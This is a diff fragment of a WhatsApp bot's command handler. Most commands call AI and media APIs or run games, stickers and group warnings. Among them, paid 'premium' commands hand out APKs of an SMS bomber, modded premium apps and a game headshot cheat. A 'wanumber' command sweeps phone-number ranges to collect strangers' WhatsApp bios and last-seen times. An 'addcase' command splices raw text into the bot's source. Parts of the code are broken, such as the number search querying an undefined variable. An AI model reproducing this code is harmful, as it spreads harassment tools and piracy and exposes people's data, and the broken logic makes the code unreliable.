fs.unlinkSync(ran) + }) + } else { + reply("Please send video/audio file only!") + } + } + break; + + + + + + + + + + + + + + + + + + + + + +case 'diffusion': +try { + const hua = await fetchJson(`https://skizo.tech/api/sdxl?apikey=${global.skizo}&prompt=${text}`) +let huaa = hua.url + +David.sendMessage(m.chat, {image: huaa, caption: `${text}`},{quoted:fsaluran}) +} catch (err) { +reply('Error!!!') +} +break + +//=================================================// + +case "gpt4": +if (!text) return reply('What do you want to ask, bro??') +try { +let cct = await fetchJson(`https://widipe.com/gpt4?text=${text}`) +let resq = cct.result +reply(`${resq}`) +} catch (err) { +reply('Website error') +} +break + +case 'totalfeature': + case 'totalfitur': + case 'totalcmd': + case 'totalcommand': + +reply(`${totalfitur}`) +break + + +case 'pickupline': { + try { + const apiUrl = `https://api.popcat.xyz/pickuplines`; + + // Fetch a pickup line + const response = await axios.get(apiUrl); + + if (response.status === 200 && response.data.pickupline) { + const pickupLine = response.data.pickupline; + const contributor = response.data.contributor; + + // Send the pickup line + reply(`*Pickup Line*\n\n💘 ${pickupLine}\n\n*ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ*`); + } else { + // Handle unsuccessful response + reply('Failed to fetch a pickup line. Please try again later.'); + } + } catch (error) { + // Handle specific errors without exposing logs + if (error.response) { + reply(`API Error: ${error.response.data.message || 'Unknown API error.'}`); + } else if (error.request) { + reply('No response received from the API. Please try again later.'); + } else { + reply(`An error occurred: ${error.message}`); + } + } + break; +} + +case 'rizz': { + try { + const apiUrl = `https://api.popcat.xyz/pickuplines`; + + // Fetch a pickup line + const response = await axios.get(apiUrl); + + if (response.status === 200 && response.data.pickupline) { + const pickupLine = response.data.pickupline; + const contributor = response.data.contributor; + + // Send the pickup line + reply(`*RIZZ:*\n\n💘 ${pickupLine}\n\n*ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ*`); + } else { + // Handle unsuccessful response + reply('Failed to fetch a pickup line. Please try again later.'); + } + } catch (error) { + // Handle specific errors without exposing logs + if (error.response) { + reply(`API Error: ${error.response.data.message || 'Unknown API error.'}`); + } else if (error.request) { + reply('No response received from the API. Please try again later.'); + } else { + reply(`An error occurred: ${error.message}`); + } + } + break; +} + + +case 'listapks': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premuim Users Only\nType .buypremuim To Become A Premium User*.'); +} +const apkList = [ + 'myapp.apk', + 'anotherapp.apk', + 'coolgame.apk' + ]; + const apkMessage = apkList.map((apk, index) => `${index + 1}. ${apk.replace('.apk', '')}`).join('\n'); + reply(`*Available APKs:*\n\n${apkMessage}`); + break; +} + + + +case 'downloadapkkk': { + + if (!text) return reply(`*Example*: ${prefix}downloadapk Telegram`); + + + const appName = text.toLowerCase(); + + // Define hardcoded APK links + const apkLinks = { + telegram: "https://www.mediafire.com/file/75dmfrvrp8vyugm/Telegram.apk/file", + capcut: "https://www.mediafire.com/file/zavt5l7isvfhgrp/Capcut_%2528Premium%2529.apk/file", + darktools: "https://www.mediafire.com/file/wwxlaq4of24hevb/Dark_Tools_3.15__%25281%2529_%25281%2529.apk/file", + capcut2: "https://www.mediafire.com/file/hseiqe1dufgsih0/capcut_latest_.apk/file", + instagram: "https://www.mediafire.com/file/u0hwqosvi5u7xdg/Instagram_Premium_Mod.apk/file", + prime_video: "https://www.mediafire.com/file/yle4w0z9t2z06tf/Prime_Video.apk/file", + remini: "https://www.mediafire.com/file/jwyechduc32dcek/REMINI_%2528Pro_Unlocked%2529.apk/file", + sms_bomber: "https://www.mediafire.com/file/uo8963a4ni13xl9/Turbo_SMSM_Bomber_App_%25281%2529.apk/file", + ff_headshot: "https://www.mediafire.com/file/u39y4nus2g7dpyo/ff_headshot.apk/file", + youtube: "https://www.mediafire.com/file/kuh6q7hbljsxkow/YouTube_v19.40.33.apk/file" + // Add more APKs as needed + }; + + // Check if the app exists in the dictionary + if (!apkLinks[appName]) { + return reply(`*Error*: App "${appName}" not found.`); + } + + const mediafireUrl = apkLinks[appName]; + + try { + // Fetch the direct download link using the new MediaFire API + const apiEndpoint = `https://api.agatz.xyz/api/mediafire?url=${encodeURIComponent(mediafireUrl)}`; + const apiResponse = await axios.get(apiEndpoint); + + if (apiResponse.data.status === 200) { + const fileData = apiResponse.data.data[0]; + + // Send the APK file as a document + await David.sendMessage(m.chat, { + document: { url: fileData.link }, + mimetype: 'application/vnd.android.package-archive', + fileName: fileData.nama, + caption: `📥 *File Name:* ${fileData.nama}\n*Size:* ${fileData.size}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`, + }, { quoted: m }); + } else { + reply(`*Error*: Unable to fetch the download link for "${appName}".`); + } + } catch (error) { + console.error('Error in downloadapk command:', error.message); + reply(`*An error occurred while processing your request. Please try again later.*`); + } + break; +} + + +case 'capcut': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + const mediafireUrl = "https://www.mediafire.com/file/zavt5l7isvfhgrp/Capcut_%2528Premium%2529.apk/file"; + await handleAPKDownload(mediafireUrl, 'Capcut'); + break; +} + +case 'telegram': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + const mediafireUrl = "https://www.mediafire.com/file/75dmfrvrp8vyugm/Telegram.apk/file"; + await handleAPKDownload(mediafireUrl, 'Telegram'); + break; +} + +case 'darktools': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + const mediafireUrl = "https://www.mediafire.com/file/wwxlaq4of24hevb/Dark_Tools_3.15__%25281%2529_%25281%2529.apk/file"; + await handleAPKDownload(mediafireUrl, 'Dark Tools'); + break; +} + +case 'capcut2': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + const mediafireUrl = "https://www.mediafire.com/file/hseiqe1dufgsih0/capcut_latest_.apk/file"; + await handleAPKDownload(mediafireUrl, 'Capcut Latest'); + break; +} + +case 'instagram': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + const mediafireUrl = "https://www.mediafire.com/file/u0hwqosvi5u7xdg/Instagram_Premium_Mod.apk/file"; + await handleAPKDownload(mediafireUrl, 'Instagram'); + break; +} + +case 'prime_video': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + const mediafireUrl = "https://www.mediafire.com/file/yle4w0z9t2z06tf/Prime_Video.apk/file"; + await handleAPKDownload(mediafireUrl, 'Prime Video'); + break; +} + +case 'remini': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + const mediafireUrl = "https://www.mediafire.com/file/jwyechduc32dcek/REMINI_%2528Pro_Unlocked%2529.apk/file"; + await handleAPKDownload(mediafireUrl, 'Remini'); + break; +} + +case 'sms_bomber': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + const mediafireUrl = "https://www.mediafire.com/file/uo8963a4ni13xl9/Turbo_SMSM_Bomber_App_%25281%2529.apk/file"; + await handleAPKDownload(mediafireUrl, 'SMS Bomber'); + break; +} + +case 'ff_headshot': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + const mediafireUrl = "https://www.mediafire.com/file/u39y4nus2g7dpyo/ff_headshot.apk/file"; + await handleAPKDownload(mediafireUrl, 'FF Headshot'); + break; +} + +case 'youtube': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + const mediafireUrl = "https://www.mediafire.com/file/kuh6q7hbljsxkow/YouTube_v19.40.33.apk/file"; + await handleAPKDownload(mediafireUrl, 'YouTube'); + break; +} + +/** + * Handles APK download via MediaFire API. + * @param {string} mediafireUrl - The MediaFire URL of the APK. + * @param {string} appName - The name of the app. + */ +async function handleAPKDownload(mediafireUrl, appName) { + try { + // Fetch the direct download link using the MediaFire API + const apiEndpoint = `https://api.agatz.xyz/api/mediafire?url=${encodeURIComponent(mediafireUrl)}`; + const apiResponse = await axios.get(apiEndpoint); + + if (apiResponse.data.status === 200) { + const fileData = apiResponse.data.data[0]; + + // Send the APK file as a document + await David.sendMessage(m.chat, { + document: { url: fileData.link }, + mimetype: 'application/vnd.android.package-archive', + fileName: fileData.nama, + caption: `📥 *File Name:* ${fileData.nama}\n*Size:* ${fileData.size}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`, + }, { quoted: m }); + } else { + reply(`*Error*: Unable to fetch the download link for "${appName}".`); + } + } catch (error) { + console.error(`Error in ${appName} command:`, error.message); + reply(`*An error occurred while processing your request for "${appName}". Please try again later.*`); + } +} +break + + + +case 'buypremium': case 'premium': { +await David.sendMessage(m?.chat, {react: {text: `🔥`,key: m?.key,}}) +await David.sendMessage(m?.chat, {text: '`Wanna Buy Premuim? Message Me On Telegram To Get Full Access & Become A Premuim User`\n\n 👉 t.me/deecee_x 👈',key: m?.key,}) +} +break; + +case 'kill':case 'pat':case 'lick':case 'bite':case 'yeet':case 'bonk':case 'wink':case 'poke':case 'nom':case 'slap':case 'smile':case 'wave':case 'blush':case 'smug':case 'glomp':case 'happy':case 'dance':case 'cringe':case 'highfive':case 'handhold': + axios.get(`https://api.waifu.pics/sfw/${command}`) +.then(({data}) => { + David.sendImageAsSticker(m.chat, data.url, m, { packname: `${global.packname}`, author: `${global.author}`}) + + }) +break + + +case "pokedex": case "pokemon-search": +try { + const url = `https://some-random-api.com/pokemon/pokedex?pokemon=pikachu`; + +const response = await fetch(url); + +const json = await response.json(); + +if (!response.ok) { + +throw `An error occurred: ${json.error}`; + +} + +const message = ` *${m2}- Pokemon Search -${m2}* +e> *Name:* ${json.name} +e> *ID:* ${json.id} +e> *Type:* ${json.type} +e> *Abilities:* ${json.abilities} +e> *Height:* ${json.height} +e> *Weight:* ${json.weight} + + *Description:* ${json.description}`; + +reply (message) +} catch (e) { + reply ("broken, find the correct pokemon..") + } +break + + + +case 'addcase': { + if (!isCreator) return reply('?') + if (!text) return ('Add the case you want to input'); +const namaFile = './QUEEN_ANITA-V4.js'; +const caseBaru = `${text}`; +fs.readFile(namaFile, 'utf8', (err, data) => { + if (err) { + console.error('An error occurred while reading the file:', err); + return; + } + const posisiAwalGimage = data.indexOf("case 'addcase':"); + + if (posisiAwalGimage !== -1) { + const kodeBaruLengkap = data.slice(0, posisiAwalGimage) + '\n' + caseBaru + '\n' + data.slice(posisiAwalGimage); + fs.writeFile(namaFile, kodeBaruLengkap, 'utf8', (err) => { + if (err) { + reply('Error File:', err); + } else { + reply('Success Adding case'); + } + }); + } else { + reply('Failed to Add case'); + } +}); + +} +break; +case 'ai-search': { + if (!text) { + reply('Please provide a query for AI Search.'); + return; + } + + try { + const response = await axios.get('https://bk9.fun/ai/ai-search', { + params: { q: text } + }); + + if (response.data.status) { + const replyMessage = response.data.BK9; + reply(replyMessage); + } else { + reply('Failed to get a response from AI Search.'); + } + } catch (error) { + console.error('Error fetching from AI Search API:', error); + reply('An error occurred while connecting to AI Search. Please try again later.'); + } + break; +} + + +case 'text2img': case 'textimg': case 'dalle': case 'magicstudio': { + if (!text) { + reply('Please provide a prompt.'); + return; + } + + try { + const response = await axios.get('https://bk9.fun/ai/magicstudio', { + params: { prompt: text }, + responseType: 'arraybuffer' // Ensures we handle the image data properly + }); + + const imageBuffer = Buffer.from(response.data, 'binary'); + + // Send the image to the user + await David.sendMessage(m.chat, { image: imageBuffer, caption: `𝐐𝐔𝐄𝐄𝐍_𝐀𝐍𝐈𝐓𝐀-𝐕𝟒` }); + } catch (error) { + console.error('Error fetching from MagicStudio API:', error); + reply('An error occurred while generating the image. Please try again later.'); + } + break; +} + + +case 'checkgc': { + +let getGroups = await David.groupFetchAllParticipating() +let groups = Object.entries(getGroups).slice(0).map((entry) => entry[1]) +let anu = groups.map((v) => v.id) +let teks = `⬣ *LIST OF GROUP BELOW*\n\nTotal Group : ${anu.length} Group\n\n` +for (let x of anu) { +let metadata2 = await David.groupMetadata(x) +teks += `◉ Name : ${metadata2.subject}\n◉ ID : ${metadata2.id}\n◉ Member : ${metadata2.participants.length}\n\n────────────────────────\n\n` +} +reply(teks + `*Please Copy the Group ID Above*`) +} +break + + +case 'wanumber': case 'searchnumber': case 'searchno': case 'searchnumber':{ + if (!text) return reply(`Provide Number with last number x\n\nExample: ${prefix + command} 234704375957x`) +var inputnumber = text.split(" ")[0] + + reply('`Searching for WhatsApp account in given range...`') + function countInstances(string, word) { + return string.split(word).length - 1 + } + var number0 = inputnumber.split('x')[0] + var number1 = inputnumber.split('x')[countInstances(inputnumber, 'x')] ? inputnumber.split('x')[countInstances(inputnumber, 'x')] : '' + var random_length = countInstances(inputnumber, 'x') + var randomxx + if (random_length == 1) { + randomxx = 10 + } else if (random_length == 2) { + randomxx = 100 + } else if (random_length == 3) { + randomxx = 1000 + } + var text66 = `*==[ List of Whatsapp Numbers ]==*\n\n` + var nobio = `\n*Bio:* || \nHey there! I am using WhatsApp.\n` + var nowhatsapp = `\n*Numbers with no WhatsApp account within provided range.*\n` + for (let i = 0; i < randomxx; i++) { + var nu = ['1', '2', '3', '4', '5', '6', '7', '8', '9'] + var status1 = nu[Math.floor(Math.random() * nu.length)] + var status2 = nu[Math.floor(Math.random() * nu.length)] + var status3 = nu[Math.floor(Math.random() * nu.length)] + var dom4 = nu[Math.floor(Math.random() * nu.length)] + var random21 + if (random_length == 1) { + random21 = `${status1}` + } else if (random_length == 2) { + random21 = `${status1}${status2}` + } else if (random_length == 3) { + random21 = `${status1}${status2}${status3}` + } else if (random_length == 4) { + random21 = `${status1}${status2}${status3}${dom4}` + } + + try { + try { + var anu1 = await David.fetchStatus(anu[0].jid) + } catch { + var anu1 = '401' + } + if (anu1 == '401' || anu1.status.length == 0) { + nobio += `wa.me/${anu[0].jid.split("@")[0]}\n` + } else { + text66 += `🪀 *Number:* wa.me/${anu[0].jid.split("@")[0]}\n 🎗️*Bio :* ${anu1.status}\n🧐*Last update :* ${moment(anu1.setAt).tz('Asia/Kolkata').format('HH:mm:ss DD/MM/YYYY')}\n\n` + } + } catch { + nowhatsapp += `${number0}${i}${number1}\n` + } + } + reply(`${text66}${nobio}${nowhatsapp}`) + } +break + + + + + + + + + + +case 'flux': { + if (!text) { + return reply(`*Usage:* /flux \n\n*Example:* /flux cat`); + } + + try { + // Call the Flux API + const apiUrl = `https://apis.davidcyriltech.my.id/flux?prompt=${encodeURIComponent(text)}`; + + // Send the generated image as a response + await David.sendMessage(m.chat, { + image: { url: apiUrl }, + caption: `🎨 *Flux Image Generator*\n\n📄 *Prompt:* ${text}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`, + }, { quoted: m }); + } catch (error) { + console.error('Error in Flux command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + +case 'anita-ai': { + if (!text) { + reply('Hello! How can I assist you today with your content needs?...Talk To me, Lets Discuss.'); + return; + } + + try { + const response = await axios.get('https://bk9.fun/ai/jeeves-chat2', { + params: { q: text } + }); + + if (response.data.status) { + const replyMessage = response.data.BK9; + reply(replyMessage); + } else { + reply('Failed to get a response from Anita Chat AI.'); + } + } catch (error) { + console.error('Error fetching from Anita-Ai API:', error); + reply('An error occurred while connecting to Anita Server. Please try again later.'); + } + break; +} + + + + case "llama": { +if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/llama33?prompt=Be%20a%20helpful%20assistant&text=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + + case "claude": { +if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/claude-sonnet-35?content=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + + case "dbrx": { +if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/dbrx-instruct?content=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + + +case "metai": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/meta-llama-33-70B-instruct-turbo?content=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + + +case "hermes": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/nous-hermes?content=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + +case "blackbox": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/blackboxai-pro?content=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + +case "deepseek": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/deepseek-llm-67b-chat?content=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + +case "deepseekr1": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/deepseek-r1?content=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + + +case "gemini": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/gemini-pro?content=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + +case "gemma": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/gemma?prompt=You%20are%20an%20assistant%20that%20always%20responds%20in%20Indonesian%20with%20a%20friendly%20and%20informal%20tone&message=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + +case "gita": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/gita?q=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + +case "metai2": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/metaai?query=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + + + +case "mistral": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/mistral-7b-instruct-v0.2?content=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + +case "muslimai": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/muslimai?query=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + +case "powerbrain": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/powerbrainai?query=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + + +case "qwen2": { + if (!text) return reply(`❌ Please provide a prompt.\n\nExample: ${prefix + command} Hello`); + + await David.sendMessage(m.chat, { react: { text: "🤖", key: m.key } }); + + try { + let response = await axios.get(`https://api.siputzx.my.id/api/ai/qwen257b?prompt=you%20are%20a%20friendly%20ai&text=${encodeURIComponent(text)}`); + + if (response.data && response.data.status) { + m.reply(response.data.data); // Extract response message correctly + } else { + reply("❌ Failed to get a response."); + } + } catch (error) { + console.error("❌API Error:", error); + reply("❌ An error occurred while fetching the response."); + } + + break; +} + +case 'warn': + if (!m.isGroup) return reply('This command can only be used in groups.'); + if (!isBotAdmins) return reply('Bot must be an admin to use this command.'); + if (!isAdmins && !isGroupOwner) return reply('Only group admins can use this command.'); + + const warnedUser = m.quoted ? m.quoted.sender : (m.mentionedJid && m.mentionedJid[0]) ? m.mentionedJid[0] : null; + + if (!warnedUser) return reply('Please tag a user or reply to their message to warn them.'); + + const warner = m.sender; + const maxWarnings = 3; // Maximum warnings before auto-kick + + // Initialize user in warningData + if (!warningData[warnedUser]) { + warningData[warnedUser] = { count: 0 }; + } + + // Increment warning count + warningData[warnedUser].count += 1; + const currentWarnings = warningData[warnedUser].count; + + // Notify with tags + if (currentWarnings < maxWarnings) { + await David.sendMessage(m.chat, { + text: `⚠️ @${warner.split('@')[0]} has warned @${warnedUser.split('@')[0]}.\n\n*Warnings:* ${currentWarnings}/${maxWarnings}\n\n⚠️ Please follow the group rules!`, + mentions: [warner, warnedUser], + }); + } else { + // Auto-kick if max warnings are reached + try { + await David.groupParticipantsUpdate(m.chat, [warnedUser], 'remove'); + await David.sendMessage(m.chat, { + text: `🚫 @${warnedUser.split('@')[0]} has been removed from the group after receiving ${maxWarnings} warnings.`, + mentions: [warnedUser], + }); + delete warningData[warnedUser]; // Reset warning count after kick + } catch (err) { + console.error(`Failed to remove ${warnedUser}:`, err); + reply(`Failed to remove @${warnedUser.split('@')[0]}. Please try again.`); + } + } + break; + + + + + + + + case 'tiktok': +case 'tt': case 'tiktokdl': { + if (!text) return reply(`*Example*: ${prefix + command} `); + + try { + // Notify the user that the bot is processing the request + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m?.key } }); + + // Fetch video data from the TikTok API + const response = await axios.get(`https://api.siputzx.my.id/api/tiktok`, { + params: { url: text } + }); + + const { status, data } = response.data; + + if (status && data && data.urls.length > 0) { + const videoUrl = data.urls[0]; // Use the first available download link + const videoTitle = data.type || "TikTok Video"; + + await David.sendMessage(m?.chat, { react: { text: `📥`, key: m?.key } }); + + + + // Send the video as a normal video message + await David.sendMessage(m.chat, { + video: { url: videoUrl }, + mimetype: 'video/mp4', + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + await David.sendMessage(m?.chat, { react: { text: `✅`, key: m?.key } }); + } else { + reply(`*❌ Failed to fetch the TikTok video. Please check the URL and try again.*`); + } + } catch (error) { + console.error("Error in TikTok Downloader:", error); + reply(`*An error occurred while downloading the TikTok video.*`); + } + break; +} + + + + +case 'is': { + if (!text) return reply(`Ask question\n\nExample : ${prefix + command} she a virgin?`) + let apa = [`Yes`, `No`, `It Could Be`, `Thats right`] + let kah = apa[Math.floor(Math.random() * apa.length)] + let jawab = `*Is ${text}*\nAnswer : ${kah}` + let msgs = generateWAMessageFromContent(m.chat, { + viewOnceMessage: { + message: { + "messageContextInfo": { + "deviceListMetadata": {}, + "deviceListMetadataVersion": 2 + }, + interactiveMessage: proto.Message.InteractiveMessage.create({ + body: proto.Message.InteractiveMessage.Body.create({ + text: jawab + }), + footer: proto.Message.InteractiveMessage.Footer.create({ + text: 'ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ™' + }), + header: proto.Message.InteractiveMessage.Header.create({ + hasMediaAttachment: false, + ...await prepareWAMessageMedia({ image: fs.readFileSync('./anitav3.jpg') }, { upload: David.waUploadToServer }) + }), + nativeFlowMessage: proto.Message.InteractiveMessage.NativeFlowMessage.create({ + buttons: [{ + "name": "quick_reply", + "buttonParamsJson": `{\"display_text\":\"🧐\",\"id\":\"\"}` + }], + }), + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '', + newsletterName: '', + serverMessageId: 143 + } + } + }) + } + } +}, { quoted: m }) +return await David.relayMessage(m.chat, msgs.message, {}) + } + break + +case "uno": +{ + if (!m.isGroup) { + return reply("This command can only be used in group chats."); + } + const games = readUnoGameData(); + const args = text.split(' '); + const command = args[0]; + const subCommand = args.slice(1).join(' '); + + if (!games[m.chat]) { + games[m.chat] = { + players: [], + deck: createDeck(), + discardPile: [], + currentPlayer: 0, + direction: 1, + currentCard: null, + drawStack: 0, + blockCardPlayed: false, + reverseCardPlayed: false, + stopVotes: new Set(), + awaitingColorChoice: false + }; + writeUnoGameData(games); + return reply("UNO game started! Type 'uno join' to join."); + } + + const game = games[m.chat]; + + switch (command) { + case "join": + if (game.players.find(player => player.id === m.sender)) { + return reply("You have already joined the game."); + } + game.players.push({ id: m.sender, hand: [] }); + writeUnoGameData(games); + return reply("You have joined the UNO game!"); + + case "start": + if (game.players.length < 2) { + return reply("At least 2 players are required to start the game."); + } + game.deck = shuffle(game.deck); + game.players.forEach(player => { + for (let i = 0; i < 7; i++) { + player.hand.push(game.deck.pop()); + } + }); + game.currentCard = game.deck.pop(); + game.discardPile.push(game.currentCard); + writeUnoGameData(games); + return sendGameStatus(m.chat); + + case "info": + return reply(` +UNO Rules and How to Play: + +1. Join the game: + - Use \`uno join\` to join the game. + - Use \`uno start\` to start the game after at least 2 players have joined. + +2. Draw a card: + - Use \`uno draw\` to draw a card from the deck. If a special card forces you to draw cards, you will draw all required cards. + +3. Play a card: + - Use \`uno play \` to play a 